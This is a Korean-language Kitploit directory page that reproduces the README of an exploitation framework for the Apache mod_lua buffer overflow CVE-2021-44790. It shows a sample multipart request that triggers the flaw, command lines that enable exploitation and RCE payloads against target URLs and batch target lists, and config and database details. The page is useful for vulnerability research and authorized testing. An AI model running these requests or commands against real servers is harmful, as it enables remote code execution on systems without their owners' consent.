Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790 — Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna. | Kitploit
도구/GitHubGitHub/cerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790
Web Vulnerability ScannersExploit FrameworksExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubcerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790

Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →

소개

Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.

저장소 보기
113일 전아직 검토되지 않음
공유

🔥 CVE-2021-44790 - Apache mod_lua 버퍼 오버플로우 익스플로잇

Version Python License CVE Apache CVSS Author


📋 개요

Apache mod_lua Buffer Overflow Exploitation은 Apache HTTP Server 2.4.x mod_lua 모듈의 치명적인 버퍼 오버플로우 취약점인 CVE-2021-44790을 위한 고급 엔터프라이즈급 익스플로잇 플랫폼입니다. 이 프레임워크는 포괄적인 핑거프린팅, 지능형 스크립트 발견, 다단계 스캐닝 및 95% 이상의 신뢰도 탐지와 함께 전문적인 보고 기능을 제공합니다.

⚡ 주요 기능


🎯 취약점 세부 정보

기술적 설명

이 취약점은 mod_lua 모듈이 multipart/form-data 요청을 처리할 때 발생합니다. lua_request_parsebody() 함수의 정수 언더플로우는 힙 기반 버퍼 오버플로우로 이어져 잠재적으로 원격 코드 실행을 허용할 수 있습니다.

root@kitploit:~
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4

4
Content-Disposition: form-data; name="name"

0
4

📸 스크린샷

메인 인터페이스핑거프린트 결과

🚀 빠른 시작

설치

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

기본 사용법

root@kitploit:~
# Quick vulnerability scan
python3 exploit.py http://target.com

# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose

# Generate all reports
python3 exploit.py http://target.com --report all

# Research mode with database
python3 exploit.py http://target.com --research

📋 상세 사용법

명령줄 옵션

root@kitploit:~
python3 exploit.py [TARGET] [OPTIONS]

예시

1. 기본 취약점 평가

root@kitploit:~
python3 exploit.py https://example.com --verbose --report all

2. 기업 환경 스캔

root@kitploit:~
python3 exploit.py https://internal-server.com \
    --proxy http://proxy.corp.com:8080 \
    --threads 10 \
    --timeout 15 \
    --verbose \
    --report all \
    --output /var/log/security/

3. 전체 침투 테스트

root@kitploit:~
python3 exploit.py https://client.com \
    --threads 30 \
    --timeout 10 \
    --exploit \
    --all-payloads \
    --report all \
    --screenshot \
    --research \
    --verbose \
    --output /pentest/client_name/

4. 배치 스캐닝

root@kitploit:~
python3 exploit.py --batch targets.txt --config config.yaml

5. 데이터베이스 쿼리

root@kitploit:~
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"

# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"

⚙️ 구성

config.yaml

root@kitploit:~
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------

# Scan Settings
threads: 20                    # Concurrent threads
timeout: 10                    # Request timeout in seconds
retries: 3                     # Number of retry attempts
rate_limit: 10                 # Requests per second
max_depth: 3                   # Directory traversal depth
follow_redirects: true         # Follow HTTP redirects
verify_ssl: false              # Verify SSL certificates

# Network Settings
proxy: null                    # Proxy URL
http2: true                    # Enable HTTP/2 support
user_agent: random             # User-Agent (random/specific)
save_packets: false            # Save raw network packets

# Analysis Settings
research_mode: true            # Enable research database
verbose: false                 # Verbose output
scan_only: false               # Scan without exploitation
exploit: false                 # Enable exploitation
all_payloads: false            # Use all payloads

# Payload Settings
payloads:
  detection: true
  memory: true
  rce: true
  dos: false

# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports

# Database Settings
database_path: luastorm.db
database_retention: 365

# Directory Settings
logs_dir: logs
screenshots_dir: screenshots

📊 보고서

HTML 대시보드

  • 대화형 차트 및 테이블
  • 대상 핑거프린트 시각화
  • 스크립트 발견 요약
  • 페이로드 실행 타임라인
  • 취약점 평가
  • 위험 점수

JSON 보고서

root@kitploit:~
{
  "scan_id": "a1b2c3d4",
  "target": {
    "url": "https://example.com",
    "hostname": "example.com",
    "port": 443
  },
  "vulnerable": true,
  "risk_level": "Critical",
  "scan_duration": 45.23,
  "timestamp": "2026-08-04T15:45:23"
}

Markdown 보고서

  • 사람이 읽기 쉬운 문서
  • 테이블 형식 데이터
  • 쉬운 공유 및 임베딩
  • 버전 관리에 적합

🗄️ 데이터베이스 스키마

root@kitploit:~
-- Targets table
CREATE TABLE targets (
    id INTEGER PRIMARY KEY,
    scan_id TEXT UNIQUE,
    url TEXT,
    hostname TEXT,
    ip TEXT,
    port INTEGER,
    protocol TEXT,
    apache_version TEXT,
    lua_version TEXT,
    os TEXT,
    architecture TEXT,
    waf TEXT,
    cdn TEXT,
    vulnerable INTEGER,
    risk_level TEXT,
    scan_date TEXT,
    duration REAL
);

-- Scripts table
CREATE TABLE scripts (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    path TEXT,
    method TEXT,
    status_code INTEGER,
    content_type TEXT,
    response_time REAL,
    vulnerable INTEGER
);

-- Payloads table
CREATE TABLE payloads (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    script_id INTEGER,
    payload_name TEXT,
    payload_type TEXT,
    success INTEGER,
    response_time REAL,
    indicators TEXT,
    error TEXT
);

🔧 플러그인 시스템

플러그인 만들기

root@kitploit:~
# plugins/my_plugin.py
class MyPlugin:
    plugin_name = "my_plugin"
    plugin_version = "1.0"
    plugin_author = "Your Name"
    
    def __init__(self, config):
        self.config = config
    
    def execute(self, target_info):
        """Execute plugin logic"""
        return {
            'status': 'success',
            'message': 'Plugin executed',
            'data': {'target': target_info.url}
        }

🛡️ 보안 고려 사항

  • 승인된 사용 전용: 이 도구는 승인된 보안 테스트를 위한 것입니다
  • 법적 준수: 테스트 전에 반드시 허가를 받았는지 확인하세요
  • 책임 있는 공개: 취약점을 책임감 있게 보고하세요
  • 데이터 보호: 모든 민감한 데이터는 로컬에 저장됩니다

⚠️ 면책 조항

root@kitploit:~
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.

By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes

📈 성능 지표


🗺️ 로드맵

버전 2.1 (계획됨)

  • 추가 CVE 지원
  • 웹 UI 인터페이스
  • Docker 컨테이너화
  • CI/CD 파이프라인
  • 더 많은 페이로드 변형

버전 2.2 (향후)

  • 머신러닝 통합
  • 자동화된 익스플로잇
  • 클라우드 기반 스캐닝
  • 팀 협업 기능
  • 고급 회피 기법

🤝 기여하기

기여는 언제나 환영합니다! 다음 지침을 따라주세요:

  1. 저장소를 포크하세요
  2. 기능 브랜치를 만드세요
  3. 변경 사항을 적용하세요
  4. 풀 리퀘스트를 제출하세요

개발 환경 설정

root@kitploit:~
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install development dependencies
pip install -r requirements-dev.txt

# Run tests
python -m pytest tests/

👨‍💻 작성자

Sudeepa Wanigarathna

  • 보안 연구원 및 윤리적 해커
  • GitHub: @CerberusMrXi
  • 관심 분야: 취약점 연구 및 익스플로잇 개발

📄 라이선스

교육 및 승인된 테스트 목적으로만 사용

이 소프트웨어는 명시적이거나 묵시적인 어떠한 종류의 보증 없이 "있는 그대로" 제공됩니다.


⭐ 이 저장소에 Star를 눌러 프로젝트를 지원해주세요!

💡 버그를 발견하셨나요? 이슈 열기

📧 연락처: [email protected]


보안 커뮤니티를 위해 ❤️로 제작되었습니다

도구 다운로드
기능설명
🔍 고급 핑거프린팅Apache 버전, mod_lua, OS, 아키텍처, WAF, CDN, 컨테이너, 클라우드 공급자 탐지
🎯 지능형 발견robots.txt, sitemap, HTML 파싱, JavaScript 추출 등 7개 이상의 발견 기법
💥 다단계 스캐닝연결 → 핑거프린트 → 발견 → 검증 → 익스플로잇 → 보고
🧩 확장 가능한 플러그인 시스템향후 CVE를 위한 손쉬운 플러그인 개발
🌐 스마트 HTTP 엔진연결 풀링, 재시도, HTTP/2 지원, 속도 제한
📊 포괄적인 보고대화형 대시보드를 갖춘 JSON, HTML, Markdown, PDF
🎨 아름다운 터미널 UI진행 표시줄, 테이블, 색상 코딩 출력을 갖춘 Rich 라이브러리
💾 연구 데이터베이스전체 스캔 기록 및 쿼리 지원을 갖춘 SQLite 저장소
📸 스크린샷 캡처증거 수집을 위한 자동 웹페이지 스크린샷
🚀 고성능20개 이상의 동시 스레드, 100개 이상의 연결 풀
속성값
CVE IDCVE-2021-44790
취약점버퍼 오버플로우 (정수 언더플로우)
영향받는 소프트웨어Apache HTTP Server 2.4.0 ~ 2.4.51
수정 버전Apache HTTP Server 2.4.52 이상
구성 요소mod_lua 모듈
공격 경로네트워크 (원격)
CVSS 점수9.8 (치명적)
기밀성 영향높음
무결성 영향높음
가용성 영향높음
익스플로잇 성숙도개념 증명(PoC) 사용 가능
스캔 진행 상황HTML 보고서 대시보드
옵션설명예시
TARGET대상 URLhttp://target.com
--config FILE구성 파일--config config.yaml
--threads N스레드 수--threads 30
--timeout N요청 시간 제한(초)--timeout 15
--proxy URL프록시 URL--proxy http://127.0.0.1:8080
--verbose상세 출력--verbose
--scan-only익스플로잇 없이 스캔만 수행--scan-only
--exploit익스플로잇 활성화--exploit
--all-payloads모든 페이로드 사용--all-payloads
--report FORMAT보고서 형식 (json/html/markdown/all)--report all
--output DIR출력 디렉터리--output /path/to/reports/
--research연구 모드 활성화--research
--database FILE데이터베이스 경로--database luastorm.db
--screenshot스크린샷 촬영--screenshot
--batch FILE대상이 포함된 배치 파일--batch targets.txt
--query SQL데이터베이스 쿼리 실행--query "SELECT * FROM targets"
기능성능
핑거프린팅2초 미만
스크립트 발견5-10초
페이로드 테스트페이로드당 1-5초
보고서 생성1초 미만
데이터베이스 작업100ms 미만
동시 스레드20+
연결 풀100+